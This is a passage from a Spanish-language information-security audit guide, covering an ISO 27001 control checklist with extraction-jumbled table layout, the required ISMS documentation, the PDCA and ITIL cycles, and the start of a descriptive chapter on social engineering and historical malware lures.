Seguridad de equipos fuera de X X P que van fuera de la
9 2 5 los locales propios oficina
9 2
Seguridad en la reutilización o
6 eliminación de equipos X X P ☺
9 2 7 Sustracciones de equipos X
GESTIÓN DE
COMUNICACIONES Y
10 OPERACIONES
PROCEDIMIENTOS Y
RESPONSABILIDADES
10 1 DE OPERACIONES
Procedimientos de
10 1 1 operaciones documentados X
¿Siguen métodos ITIL
10 1 2 Gestión de los cambios X X R o ITSM?
10 1 3 Segregación de tareas X
Página 147 de 430

N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
Separación de los entornos de

desarrollo, pruebas y X X P
10 1 4 explotación
GESTIÓN DE LOS
NIVELES DE SERVICIOS
10 2 DE TERCERAS PARTES
10 2 1 Niveles de servicio X
Monitorizar y revisar los Ver informes de niveles
10 2 2 niveles de servicio X X P de servicios
Gestión de cambios en los
10 2 3 niveles de servicio X
PLANIFICACIÓN Y
ACEPTACIÓN DE
10 3 SISTEMAS
10 3 1 Gestión de capacidades X X P
10 3 2 Aceptación de sistemas X
PROTECCIÓN CONTRA
CÓDIGO MALICIOSO Y
10 4 CÓDIGO MÓVIL
Muestreo sobre PCs,
Controles contra software X X R Servidores, Elementos
10 4 1 malicioso de Red
10 4 2 Controles contra código móvil X X P

10 5 COPIAS DE RESPALDO
Recuperación de la Intentar una
10 5 1 información X X R recuperación
GESTIÓN DE LA
10 6 SEGURIDAD DE LA RED
10 6 1 Controles de red X X P
Seguridad de los servicios de Niveles de servicios,
10 6 2 red X filtros y componentes
Página 148 de 430

N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
de seguridad ( HW y/o
SW)
10 7 GESTIÓN DE SOPORTES
10 7 1 Gestión de soportes extraíbles X X P

10 7 2 Eliminación de soportes X
Procedimiento de manejo de
10 7 3 soportes X
Seguridad de la Ver el armario o el
documentación de los X X P ☺ sistema de gestión
10 7 4 sistemas documental
INTERCAMBIO DE
10 8 INFORMACIÓN
Políticas y procedimientos de
10 8 1 intercambio de información X
10 8 2 Acuerdos de intercambio X
Cifrado y protección
10 8 3 Soportes físicos en transito X X P física
Comprobar si algunos
mensajes son
X X P conformes con las
10 8 4 Correo electrónico políticas/norma
Sistemas de información de
10 8 5 productividad X
SERVICIOS DE
COMERCIO
10 9 ELECTRONICO
10 9 1 Comercio electrónico X X P
Comprobar:
X X R integridad,
10 9 2 Transacciones interactivas autorización de acceso
Información con acceso
10 9 3 publico X X P
Página 149 de 430

N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
10 10 MONITORIZACIÓN
Ver un Log
informático o impreso
X X P (fechas y horas de los
10 10 1 Trazabilidad sucesos)
Monitorización del uso de los
10 10 2 sistemas X X P
10 10 3 Protección de la trazabilidad X X P
Trazabilidad de los
10 10 4 administradores y operadores X X P
Identificar y ver el
10 10 5 Registros de fallos X registro
Ver fechas y horas de
10 10 6 Sincronización de relojes X P un mismo suceso
11 CONTROL DE ACCESO
REQUISITO
EMPRESARIAL PARA EL
11 1 CONTROL ACCESO
11 1 1 Política de control de acceso X

GESTIÓN DEL ACCESO
11 2 DE LOS USUARIOS
Seleccionar un
muestreo de
empleados/contratistas
X con sus autorizaciones
de accesos a todos los
11 2 1 Registro de usuarios sistemas
Elegir un empleado
que se ha cambiado
X X P recientemente para ver
11 2 2 Gestión de privilegios los cambios
Gestión de las contraseñas de
11 2 3 los usuarios X
Página 150 de 430

N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
Revisión de los derechos de

11 2 4 accesos X
RESPONSABILIDAD DE
11 3 LOS USUARIOS
Verificar las
X políticas/guías vigentes
11 3 1 Uso de las contraseñas con algunos usuarios
Verificar las
Equipo de usuario X políticas/guías vigentes
11 3 2 desatendido con algunos usuarios
Política de puesto de trabajo
despejado y bloqueo de X ☺
11 3 3 pantalla
CONTROL DE ACCESO
11 4 EN LA RED
Política de uso de los
11 4 1 servicios de red X
Autenticación de usuarios
11 4 2 para conexiones externas X X R
Identificación de equipos en
11 4 3 la red X
Protección de los puertos de
diagnóstico remoto y X R
11 4 4 configuración
Diagrama de red:
WAN,
LAN, VLAN, VPN,
X X P Elementos de red,
segmentos de red
11 4 5 Segregaciones de la red (ej. DMZ)
11 4 6 Control de conexión a la red X X R

Control de encaminamiento Cortafuegos,
11 4 7 en la red X X R
Página 151 de 430

N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
Routers/Switches:
Roles, ACL’s, Política
de control de accesos
CONTROL DE ACCESO
AL SISTEMA
11 5 OPERATIVO
11 5 1 Procedimiento seguro de login X X R

Identificación y autenticación
11 5 2 de usuario X X R
Sistema de gestión de
11 5 3 contraseñas X X R
Uso de las utilidades de los
11 5 4 sistemas operativos X X R
11 5 5 Desconexión automática X X P ☺
11 5
Limitación de las ventanas de
6 conexión X X P ☺
CONTROL DE ACCESO A
APLICACIONES E
11 6 INFORMACIÓN
Restricción de acceso a la
11 6 1 información X X R
Aislamiento de sistemas
11 6 2 sensibles X X P
INFORMÁTICA MÓVIL Y
11 7 TELETRABAJO
Informática móvil y
11 7 1 telecomunicaciones X X P
11 7 2 Teletrabajo X X P
ADQUISICIÓN,
DESARROLLO Y
MANTENIMIENTO DE
SISTEMAS DE
12 INFORMACIÓN
Página 152 de 430

N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
REQUISITOS DE
SEGURIDAD EN
SISTEMAS DE
12 1 INFORMACIÓN
Identificar si existen
requerimientos
X escritos, por parte
Análisis y especificaciones de técnica o por parte de
12 1 1 requisitos de seguridad los usuarios
PROCESO CORRECTO
12 2 2 EN LAS APLICACIONES
Guías de desarrollo y
SW de pruebas:
X X R comprobar en un
muestreo de
aplicaciones que los
Validación de los datos de requisitos (de los
12 2 1 entrada usuarios) se cumplen
SW de pruebas:
comprobar en un
X X P muestreo de
requisitos (de los
12 2 2 Control del proceso interno usuarios) se cumplen
12 2 3 Integridad de los mensajes X P

SW de pruebas:
comprobar en un
X X P muestreo de
Validación de los datos de requisitos (de los
12 2 4 salida usuarios) se cumplen
CONTROLES
12 3 CRIPTOGRÁFICOS
Política de uso de los Comprobar si se sigue
12 3 1 controles criptográficos X X P las políticas a nivel
Página 153 de 430

N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
usuarios, sistemas y
desarrollo
12 3 2 Gestión de claves X X R
SEGURIDAD DE LOS
FICHEROS DE LOS
12 4 SISTEMAS
Control del software en
12 4 1 explotación X X P
12 4
Protección de los datos de
2 prueba X X P ☺
Control de acceso a las
12 4 3 fuentes X X R
SEGURIDAD EN LOS
PROCESOS DE
DESARROLLO Y
12 5 SOPORTE
Procedimiento de control de
12 5 1 cambios X
Revisión técnica de las
aplicaciones después de
cambios en los sistemas X
12 5 2 operativos
Restricción en los cambios a
12 5 3 los paquetes de software X
Ver si hay servicios
12 5 4 Fuga de información X X P desconocidos activados
Desarrollo externalizado de
12 5 5 software X
GESTIÓN DE
VULNERABILIDADES
12 6 TÉCNICAS
Ver si, y como, se
implantan las mejoras
Control de vulnerabilidades X X R o correcciones de SW
12 6 1 técnicas (Parches)
Página 154 de 430

N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
GESTIÓN DE
INCIDENCIAS DE
SEGURIDAD DE LA
13 INFORMACIÓN
REPORTE DE
INCIDENCIAS Y
13 1 DEBILIDADES
Reporte de eventos de
13 1 1 seguridad de información X
Reporte de debilidades de
13 1 2 seguridad X
GESTIÓN DE
INCIDENCIAS DE
13 2 SEGURIDAD Y MEJORA
Responsabilidades y
13 2 1 procedimientos X
Aprendiendo de las
13 2 2 incidencias X
13 2 3 Recogida de evidencias X
GESTIÓN DE LA
CONTINUIDAD DE
14 NEGOCIO
ASPECTOS DE
SEGURIDAD DE LA
INFORMACIÓN EN LA
CONTINUIDAD DE
14 1 NEGOCIO
Incluir la seguridad de la
información en el proceso de
gestión de la continuidad de X
14 1 1 negocio
Continuidad de negocio y
14 1 2 análisis de riesgos X
☺
Recuperación de
14 1 3
Desarrollo e implantación de X X P Desastre: Comprobar
planes de continuidad que el sitio alternativo
Página 155 de 430

N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
incluyendo la seguridad de la cumple con la distancia

información y condiciones según las
amenazas identificadas
y los requerimientos
regulativos.
Marco de planificación de la
14 1 4 continuidad de negocio X
Prueba, mantenimiento y
revisión de los planes de X
14 1 5 continuidad de negocio
15 CONFORMIDAD
CONFORMIDAD CON
15 1 REQUISITOS LEGALES
Identificación de la
15 1 1 legislación aplicable X
Derechos de propiedad
15 1 2 intelectual X
Salvaguarda de los registros
15 1 3 de la Organización X
Comprobar siempre, si
Protección de datos de X X O aplica, las obligaciones
15 1 4 carácter personal y privacidad con la LOPD
Prevención del mal uso de los
15 1 5 recursos informáticos X X P
Regulación de controles
15 1 6 criptográficos X
CONFORMIDAD CON
LAS DIRECTRICES DE
SEGURIDAD Y
15 2 REVISIONES TÉCNICAS
Conformidad con las políticas
15 2 1 de seguridad y estándares X
Comprobar el proceso
Comprobación de la X X y el seguimiento de las
15 2 2 conformidad técnica revisiones y auditorias
Página 156 de 430

N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
CONSIDERACIONES
SOBRE EL AUDIT DE
SISTEMAS DE
15 3 INFORMACIÓN
Controles de audit de los
15 3 1 sistemas de información X
Protección de las herramientas
de audit de sistemas de X X P
15 3 2 información
También es muy importante, reflejar todas las fuentes de datos consultadas y si

es posible obtener copias de las pantallas, utilizando un capturador de pantallas
y añadiendo un hash y un sello de tiempo, opcional esto último, para reflejar
cuando se obtuvieron de los datos reflejados en los informes de Auditoria inicial,
intermedios y final que demuestran el progreso y la aplicación de las acciones
correctores y una nueva evaluación que nos indique que grado de securización
alcanzado tras las aplicación de actualizaciones, revisión del código y mejora del
mismo.
Nunca hay que olvidar que cada cambio, cada actualización, cada modificación
de un código fuente, puede ocasionar variaciones positivas o negativas, en el
grado de securización vigente respecto a la versión anterior a su aplicación.
Esta es una pequeña parte de toda la documentación que se genera durante y a

lo largo de la auditoria de la norma y de las auditorias especializadas que apoyan
las mismas.
Es muy importante organizar de forma correcta la documentación, de la gestión

del proyecto de Certificación y sus múltiples auditorias especializadas, por tanto
además de indicar como hemos señalados en todos capítulos anteriores, como
debemos auditar cada uno de los dominios y sus respectivos controles ahora se
añade un nuevo proyecto que reflejara todo el trabajo realizado y es el proyecto
de la documentación al que también podemos aplicar una norma específica
como es la ISO 30301 que sería junto con la aplicación de la ISO 21500 que es
la norma relativa a la gestión de proyectos, es decir, es el equivalente a la
metodología del PMI /PMP.
En los proyectos de Certificación / Acreditación hay una serie de documentos

que son obligatorios para lograr la certificación y es de lo que vamos hablar en
este capítulo como complemento de la guía de trabajo de los auditores.
Página 157 de 430

Todos los documentos que se van a mostrar en sucesivas páginas, son

propiedad de Advisera©® y dentro de sus diversas academias hemos
seleccionado, la academia relativa a la norma 27001 donde hay un paquete de
plantillas para Word que pueden ser rellenadas por la propia organización, bien
por los consultores de apoyo, lo importante no es sólo rellenar las plantillas..
Página 158 de 430

Alcance del SGSI

Este documento es, habitualmente, bastante corto y se redacta al inicio de la
implementación de ISO 27001. En general, se trata de un documento
independiente, aunque puede ser unificado con una política de seguridad de la
información.
Políticas y objetivos de seguridad de la información

La política de seguridad de la información generalmente es un documento breve
y de alto nivel que detalla el principal objetivo del SGSI. Los objetivos para el
SGSI, en general, se presentan como un documento independiente, pero
también pueden ser unificados en la política de seguridad de la información.
Contrariamente a la revisión 2005 de ISO 27001, ya no se necesitan ambas
políticas (Política del SGSI y Política de seguridad de la información); solo hace
falta una política de seguridad de la información.
Metodología e informes de evaluación y tratamiento de riesgos

La metodología de evaluación y tratamiento del riesgo es, habitualmente, un
documento de 4 a 5 páginas y debe ser redactado antes que se realice la
evaluación y el tratamiento de riesgos. El informe de evaluación y tratamiento de
riesgos debe ser redactado una vez que se realizó la evaluación y el tratamiento
de riesgos, y allí se resumen todos los resultados.
Declaración de aplicabilidad
La Declaración de aplicabilidad (o DdA) se redacta en base a los resultados del
tratamiento del riesgo; es un documento clave dentro del SGSI porque describe
no sólo qué controles del Anexo A son aplicables, sino también cómo se
implementarán y su estado actual. También debería considerar a la Declaración
Página 159 de 430

de aplicabilidad como un documento que describe el perfil de seguridad de su

empresa.
Plan de tratamiento del riesgo

Este es, básicamente, un plan de acción sobre cómo implementar los diversos
controles definidos por la DdA. Este documento se desarrolla en función de la
Declaración de aplicabilidad y se utiliza y actualiza activamente a lo largo de toda
la implementación del SGSI. A veces se puede fusionar con el Plan del proyecto.
Funciones y responsabilidades de seguridad

El mejor método es describir estas funciones y responsabilidades en todas las
políticas y procedimientos de la forma más precisa posible. Evite expresiones
como "debería hacerlo"; en cambio, utilice algo como "el jefe de seguridad
realizará xyz todos los lunes a las xyz horas". Algunas empresas prefieren
detallar las funciones y responsabilidades de seguridad en sus descripciones del
trabajo; sin embargo, esto puede generar mucho papelerío. Las funciones y
responsabilidades de seguridad para terceros se definen a través de contratos.
Inventario de activos
Si no contaba con un inventario de este tipo antes del proyecto ISO 27001, la
mejor forma de hacerlo es directamente a partir del resultado de la evaluación
de riesgos ya que allí, de todos modos, se tienen que identificar todos los activos
y sus propietarios; entonces, simplemente puede copiar el resultado desde ese
instrumento.
Uso aceptable de los activos

Habitualmente, este documento se confecciona bajo la forma de una política y
puede cubrir un amplio rango de temas porque la norma no define muy bien este
control. Probablemente, la mejor forma de encararlo es la siguiente: (1) déjelo
para el final de la implementación de su SGSI y (2) todas las áreas y controles
que no haya cubierto con otros documentos y que involucran a todos los
empleados, inclúyalos en esta política.
Política de control de acceso

En este documento usted puede cubrir sólo la parte comercial de la aprobación
de acceso a determinada información y sistemas, o también puede incluir el
aspecto técnico del control de acceso. Además, puede optar por definir reglas
para acceso lógico únicamente o también para acceso físico. Debería redactar
este documento solamente después de finalizado su proceso de evaluación y
tratamiento de riesgos.
Procedimientos operativos para gestión de TI

Puede crear este procedimiento como un único documento o como una serie de
políticas y procedimientos; si se trata de una empresa pequeña, debería tener
menor cantidad de documentos. Normalmente, aquí puede abarcar todas las
áreas de las secciones A.12 y A.13: gestión de cambios, servicios de terceros,
copias de seguridad, seguridad de red, códigos maliciosos, eliminación y
destrucción, transferencia de información, supervisión del sistema, etc. Este
documento se debería redactar solamente una vez que finalice su proceso de
evaluación y tratamiento de riesgos.
Página 160 de 430

Principios de ingeniería para sistema seguro

Este es un nuevo control en ISO 27001:2013 y requiere que se documenten los
principios de ingeniería de seguridad bajo la forma de un procedimiento o norma
y que se defina cómo incorporar técnicas de seguridad en todas las capas de
arquitectura: negocio, datos, aplicaciones y tecnología. Estos principios pueden
incluir validación de datos de entrada, depuración, técnicas para autenticación,
controles de sesión segura, etc.
Política de seguridad para proveedores

Este también es un control nuevo en ISO 27001:2013, y una política de este tipo
puede abarcar un amplio rango de controles: cómo se realiza la selección de
potenciales contratistas, cómo se ejecuta la evaluación de riesgos de un
proveedor, qué cláusulas incluir en el contrato, cómo supervisar el cumplimiento
de cláusulas contractuales de seguridad, cómo modificar el contrato, cómo cerrar
el acceso una vez cancelado el contrato, etc.
Procedimiento para gestión de incidentes

Este es un procedimiento importante que define cómo se informan, clasifican y
manejan las debilidades, eventos e incidentes de seguridad. Este procedimiento
también define cómo aprender de los incidentes de seguridad de la información
para que se puedan evitar en el futuro. Un procedimiento de esta clase también
puede invocar al plan de continuidad del negocio si un incidente ha ocasionado
una interrupción prolongada.
Procedimientos de la continuidad del negocio

Generalmente se trata de planes de continuidad del negocio, planes de
respuesta ante incidentes, planes de recuperación para el sector comercial de la
organización y planes de recuperación ante desastres (planes de recuperación
para infraestructura de TI). Estos procedimientos se describen con mayor detalle
en la norma ISO 22301, la principal norma internacional para continuidad del
negocio.
Requisitos legales, normativos y contractuales
Este listado debe confeccionarse en la etapa más temprana posible del proyecto
porque muchos documentos tendrán que ser desarrollados de acuerdo a estos
datos. Este listado debe incluir no sólo las responsabilidades para el
cumplimiento de determinados requerimientos, sino también los plazos.
Registros de capacitación, habilidades, experiencia y calificaciones

Es el departamento de recursos humanos el que generalmente se encarga de
llevar estos registros. Si usted no tiene un sector de este tipo, cualquier persona
que habitualmente se encargue de los registros de los empleados debería ser
quien realice este trabajo. Básicamente, sería suficiente una carpeta en la que
se encuentren todos los documentos.
Resultados de supervisión y medición

La forma más sencilla de describir cómo se miden los controles es a través de
políticas y procedimientos que definan a cada control. En general, esta
descripción puede ser realizada al final de cada documento, y cada descripción
tiene que definir los tipos de ICD (indicadores clave de desempeño) que es
necesario medir para cada control o grupo de controles. Una vez que se
Página 161 de 430

estableció este método de control, usted debe realizar la medición en función de

dicho método. Es importante reportar los resultados de esta medición en forma
regular a las personas que están a cargo su evaluación.
Programa de auditoría interna

El programa de auditoría interna no es más que un plan anual para realizar las
auditorías; para las empresas más pequeñas, puede tratarse solamente de una
auditoría, mientras que para las organizaciones más grandes puede ser una
serie de, por ejemplo, 20 auditorías internas. Este programa debe definir quién
realizará las auditorías, los métodos que se utilizarán, los criterios que se
aplicarán, etc.
Resultados de las auditorías internas

Un auditor interno debe generar un informe de auditoría, que incluye los
resultados de la auditoría (observaciones y medidas correctivas). Este informe
debe ser confeccionado dentro de un par de días luego de realizada la auditoría
interna. En algunos casos, el auditor interno tendrá que verificar si todas las
medidas correctivas se aplicaron según lo esperado.
Resultados de la revisión por parte de la dirección

Estos registros se presentan, normalmente, bajo la forma de actas de reunión y
deben incluir todo el material tratado durante la reunión de la dirección, como
también todas las decisiones que se tomaron. Estas actas pueden ser en papel
o en formato digital.
Resultados de acciones correctivas

Generalmente, estos son incluidos en los formularios para medidas correctivas
(FMC). Sin embargo, es mucho mejor agregar estos registros en alguna
aplicación que ya esté en uso en la organización; por ejemplo, la Mesa de ayuda,
porque las medidas correctivas no son más que listas de actividades a realizar
con responsabilidades, tareas y plazos bien definidos.
Registros sobre actividades de los usuarios, excepciones y eventos de

seguridad
Habitualmente se llevan de dos formas: (1) en formato digital, generados en
forma automática o semiautomática como registros de diversas TI y de otros
sistemas, y (2) en papel, donde cada registro se hace manualmente.
Procedimiento para control de documentos

En general, este es un procedimiento independiente, de 2 o 3 páginas de
extensión. Si usted ya implementó alguna otra norma como ISO 9001, ISO
14001, ISO 22301 o similar, puede utilizar el mismo procedimiento para todos
estos sistemas de gestión. A veces es mejor redactar este procedimiento como
el primer documento de un proyecto.
Controles para gestión de registros

La forma más sencilla es redactar el control de registros en cada política o
procedimiento (u otro documento) que requiera la generación de un registro.
Estos controles, normalmente son incluidos hacia el final de cada documento y
Página 162 de 430

se confeccionan bajo el formato de una tabla que detalla dónde se archiva el

registro, quién tiene acceso, cómo se protege, por cuánto tiempo se archiva, etc.
Procedimiento para auditoría interna

Habitualmente este es un procedimiento independiente que puede tener entre 2
y 3 páginas y que tiene que ser redactado antes que comience la auditoría
interna. En cuanto al procedimiento para control de documentos, un
procedimiento para auditoría interna puede ser utilizado para cualquier sistema
de gestión.
Procedimiento para medidas correctivas

Este procedimiento no debería exceder las 2 o 3 páginas y puede ser
confeccionado al final del proyecto de implementación, aunque es mejor hacerlo
antes para que los empleados puedan familiarizarse con él.
Además de la documentación es importante también conocer, cual es la
secuencia, en que se deben realizar actividades necesarias, para lograr
certificación, en la siguiente página mostramos cual es la secuencia, en que
deberíamos cumplir todas las actividades realizando, los controles
seleccionados derivados de haber localizado las amenazas y vulnerabilidades a
la fecha de realización de proyecto.
Página 163 de 430

Página 164 de 430

En este diagrama no está incluido el ciclo de vida PDCA que se muestra en la

siguiente página para una mejor compresión del lector y como ampliación de
todo lo que se ha expuesto en páginas anteriores.
Implantación de la Norma ISO27001 Ciclo PDCA Competo
Página 165 de 430

Ciclo PDCA
Página 166 de 430

Este ciclo se repite cada vez que hay

un cambio: organizativo, legal,
tecnológico o de estrategia de
negocio y todo ello en aras, de
garantizar las infraestructuras físicas
y lógicas, donde se almacena el
activo más importante de cualquier
organización que es toda la
información que dispone e
intercambia con su entorno de
negocio.
Volviendo a los activos debemos
tener siempre presente que cualquier
activo puede sufrir múltiples tipos de
ataques dependiendo de su clase y
naturaleza.
Por eso la experiencia de muchas organizaciones, en muchos países y a través
de un largo periodo de tiempo nos enseñado que la mejor forma para gestionar
y organizar el activo información es hacerlo de la siguiente forma.
Todo ello debe tenerse presente para cumplir con el

objetivo de señalado de preservar todos los atributos
inherentes al conjunto de la información de cada
empresa y su entorno de negocio conforme a:
 Implicación de la Dirección.
 Alcance del SGSI y política de seguridad.
 Inventario de todos los activos de información.
 Metodología de evaluación del riesgo.
 Identificación de amenazas, vulnerabilidades e impactos.
 Análisis y evaluación de riesgos.
 Selección de controles para el tratamiento de riesgos.
 Aprobación por parte de la dirección del riesgo residual.
Página 167 de 430

 Declaración de aplicabilidad.
 Plan de tratamiento de riesgos.
 Implementación de controles, documentación de políticas, procedimientos
e instrucciones de trabajo.
 Definición de un método de medida de la eficacia de los controles y puesta
en marcha del mismo.
 Formación y concienciación en lo relativo a seguridad de la información a
todo el personal.
 Monitorización constante y registro de todas las incidencias.
 Realización de auditorías internas.
 Evaluación de riesgos periódica, revisión del nivel de riesgo residual, del
propio SGSI y de su alcance.
Página 168 de 430

 Mejora continua del SGSI. Como hemos visto, la norma ISO 27001 /
27002, no existe sola, convive con otras normas, que ayudan a
complementarla debido a que son normas especializadas, como por
ejemplo la ISO 20000 que está relacionada con toda la gestión operativa
del activo de la información. Aunque existe la norma, ISO y es certificable,
en el mundo real se ha adoptado una metodología que recoge las mejores
Página 169 de 430

prácticas en esta área de gestión de la información, y se conoce como

ITIL©® y cuyo ciclo de vida como podrá observar es muy parecida a la
anterior.
Estos dos ciclos vida son
complementarios y de hecho
coexisten en muchas
organizaciones junto con otras
normas de que vamos hablar a
continuación debido a su
complementariedad.
En ambos ciclos de vida, hay un
nexo común, que se comparte
entre ambos, además de la
información, y es la
documentación cuyo fin es
hacer independiente el
conocimiento de las personas,
ya que, en las organizaciones
modernas, el valor no tangible pero más importante. es el conocimiento. Tanto
la ISO 27001 como la ISO 20000 se relacionan, con otras normas veamos
cuales, a través de una serie de imágenes, que nos ayudan a comprender mejor
las conexiones existentes. Ver en el anexo relaciones entre la ISO 27001:2013
y la ISO 20000:2011.
.
Página 170 de 430

La serie 3030X, conjunto de normas que regula el nexo común, a muchas

normas y estándares como: es la documentación. Por ello es importante tener
una correcta implantación de la ISO27001, su certificación / acreditación, así
como sus revisiones anuales y la renovación de dichas certificaciones, como
también son importantes en igual medida las ISO 22301 y 22320, estas normas
sirvan en gran medida de retroalimentación para la ISO 9001 y la ISO 14001
estas normas a su vez son soporte de la ISO 25100, ya que toda organización
gestiona día a día proyectos, que tienen componentes económicos y
componentes legales, ISO 19600 e ISO 37001, por tanto, todas las normas
dentro del ámbito empresarial y de las TIC / SI están interconectadas y como
prueba de ello, presentamos este esquema, que prueba que es importante la
visión de conjunto, tanto como la especialización.
Por tanto, para comprender en profundidad la ISO-EIC 27001, no es suficiente

conocer sus dominios, sus controles y sus métricas, lo primero y fundamental es
comprender el complejo contexto, donde se desarrolla y evoluciona, ya que hay
además de los elementos que hemos mencionado, un contexto que trasciende
a las normas de gestión y de gestión técnica que es la evolución social a través
de la globalización, su difusión a través de las redes sociales y la aplicación de
experimentos, no controlados, como son los de ingeniería social, de la que se
habla muy poco cuando se habla de estas normas y es un error importante que
no debemos continuar cometiendo, como viene ocurriendo hasta hoy, teniendo
presente que también hay otros ámbitos, que no son de gestión que también
afectan a nuestra vida, de elementos cotidianos como son: los sistemas de
Página 171 de 430

alimentación eléctrica y climatización, regulación de todo tipo de tráfico, etc., que

hasta ahora se habían mantenido, casi al margen de estas normas y que por el
efecto del terrorismo, de ahora y en adelante tendrán el mismo peso específico
que los sistemas tradicionales, pero qué resultan muchos más complejos de
securizar puesto que sus componentes hardware y software, no fueron
concebido para una sociedad hiperconectada que está en continua evolución, de
ahí el incremento que supone realizar una correcta securización de la que
hablaremos a manera de aproximación en este próximo capítulo.
Página 172 de 430

Capítulo 22
La Ingeniería Social, la zona muerta del

Derecho actual.
Siempre se representa a la Justicia como: una dama
con una balanza y con los ojos vendados, esto aplicado
a las nuevas tecnologías y en una sociedad
hiperconectada, es casi un fiel reflejo de la situación
diaria donde el Derecho naufraga y se dan dos posibles
enfoques que son los siguientes. El enfoque de la
Sociedad cuyo Derecho, deriva del Derecho Romano y
la Sociedad cuyo Derecho, deriva del Sajón. Mientras
el Derecho cuyo origen es romano se pliega a los
intereses de las oligarquías, que en su mayoría son
digitalmente analfabetas, el Derecho cuyo origen es
sajón, asume la necesidad de una evolución acorde
con la evolución social, el problema es que la velocidad de evolución de la
Tecnología y la del Derecho son inversamente proporcionales.
Además no olvidemos que siempre el ser humano tiende, hacer lo contrario de
lo que se le dice que haga, sobre ingeniería social hay muy buenos libros y por
supuesto que los citare, pero a estas altura de esta guía me imagino que el lector
espera, que como hemos venido haciendo le presente un resumen con lo mejor
de todas las presentaciones que circulan por internet a cerca de este tema, que
es la gran amenaza a la que a diario se enfrentan todas las áreas de seguridad
de informática y telecomunicaciones y de la información, del mundo entero, así
antes de introducirnos en esa recopilación quiero hacer una pequeña incursión
en un tipo de auditorías de las que intencionalmente he dejado al final porqué
están íntimamente relacionadas con la ingeniería social y que son la Auditorias
Web.
Aunque esto mejor lo dejo para el final de este interesante capítulo dado que hay
mucho material que presentarle y sobre el que me gustaría que reflexione para
comprender que en realidad este capítulo y los anexos deberían ser el principio
y no el final. Reflexione sobre este pensamiento.
“El ser humano suele pecar de vanidoso, lo que con frecuencia le impide ver lo
sencillo que puede resultar que lo engañen. Este sentimiento de omnipotencia
oculta lo obvio: sabe algo que, por algún motivo, puede ser útil para alguien más”
La Ingeniería Social puede definirse como una acción o conducta social
destinada a conseguir información de las personas cercanas a un sistema. Es el
arte de conseguir de un tercero aquellos datos de interés para el atacante por
medio de habilidades sociales. Estas prácticas están relacionadas con la
comunicación entre seres humanos.
Entonces, a raíz de variados tipos de engaños, tretas y artimañas se apunta a
que el usuario comprometa al sistema y revele información valiosa a través de
Página 173 de 430

acciones que van desde un clic hasta atender un llamado telefónico y que
pueden derivar en la pérdida de información confidencial –personal o de la
empresa para la que el usuario trabaja- o, peor aún, en ponerla en manos de
personas maliciosas que buscan un rédito económico
En palabras de Kevin Mitnick, uno de los personajes más famosos del mundo
por delitos utilizando la Ingeniería Social como principal arma: "Usted puede
tener la mejor tecnología, firewalls, sistemas de detección de ataques,
dispositivos biométricos, etc. Lo único que se necesita es llamar a un
empleado desprevenido e ingresar sin más. Tienen todo en sus manos".
Así entonces, la Ingeniería Social, se centra en lograr la confianza de las
personas para luego engañarlas y manipularlas para el beneficio propio de quien
la implementa. La persuasión es una habilidad clave, ya que el secreto no
está en preguntar sino en la forma de realizar la pregunta.
No hay tecnología capaz de proteger contra la Ingeniería Social, como
tampoco hay usuarios ni expertos estén a salvo de esta forma de ataque. La
Ingeniería Social no pasa de moda, se perfecciona y sólo tiene la imaginación
como límite.
La Ingeniería Social aplicada al malware

La Ingeniería Social es ampliamente utilizada por creadores de malware y
delincuentes informáticos debido al alto nivel de eficacia logrado engañando al
usuario.
1.- Noticias sobre catástrofes naturales.
La lluvia de correos sobre las tormentas en Europa del 2007 confirma la
efectividad de la Ingeniería Social: la ingenuidad y la morbosidad humana fueron
utilizadas como vehículos para la propagación de una de las principales
epidemias de los últimos años. Esas tormentas fueron el inicio de una familia de
malware conocida como Nuwar (o Gusano de la Tormenta), que utilizó cientos
de asuntos y mensajes distintos durante dos años para formar una gran Botnet
con millones de usuarios infectados.
Incidentes de este tipo, junto con acontecimientos de relevancia para una
sociedad en particular, o para el mundo en general, son utilizados
constantemente por los creadores de malware con varios fines. En el pasado se
han encontrado gusanos de correo electrónico que eran enviados como adjuntos
de mensajes que pretendían contener fotos o videos de catástrofes naturales (el
Tsunami del 2004, Katrina en el 2005),
atentados terroristas (Las Torres Gemelas en el 2001, Atocha en Madrid en el
2004, etc.) y guerras (Invasión de Iraq en el 2003, etc.), la ciberguerra entre
Rusia y Estonia en 2007 o contra Georgia en 2008, noticias falsas creadas para
estos fines en 2009, etc.
Página 174 de 430

Muchas personas sienten curiosidad por las imágenes o videos de situaciones

como las anteriores y, por ello, son ampliamente utilizados como recursos para
engañar a los usuarios y llevarlos a infectarse con distintos tipos de malware.
Esto no es todo. A lo largo del tiempo, fraudes informáticos de todo tipo se han
valido de la buena voluntad de los usuarios para llevar efectivizar estafas de
diversa índole. En cada una de las situaciones antes descriptas, siempre ha
habido ejemplos de engaños por correo electrónico u otro medio, en los que se
busca lograr que una persona, con interés en donar dinero para ayudar a los
afectados, termine depositándolo en la cuenta del inescrupuloso responsable del
fraude.
2. Famosos
Los programadores de malware también se valen de personajes famosos y
políticos para lograr que sus ceraciones se propaguen engañando a los usuarios
desprevenidos o demasiado curiosos.
A lo largo de la historia del malware, existen casos en los que se menciona a
cantantes (Michael Jackson, Britney Spears, etc.), actrices y/o actores (Jennifer
López o Angelina Jolie, por ejemplo), deportistas (Anna Kournikova) y
personalidades mundialmente reconocidas (Bill Gates, Osama Bin Laden,
Saddam Hussein, etc.); entre muchos otros.
Muchos de estos códigos maliciosos no hacen más que lograr repercusión en la
prensa, como los recordados casos en que se hacía mención a la fallecida Lady
Di o a Britney Spears o el aún mencionado Kamasutra (que en realidad es el
gusano VB.NEI, Nyxem o Blackmal; según la casa antivirus) cuya mayor
propagación fue a través de las noticias, en lugar de utilizar los equipos
informáticos de los usuarios.
Existen otros casos de gusanos de correo electrónico que, apoyándose en
mensajes atractivos al usuario y la mención de un famoso, logran una gran
reproducción a través de la red (correo, mensajería, P2P, etc.). Actualmente, las
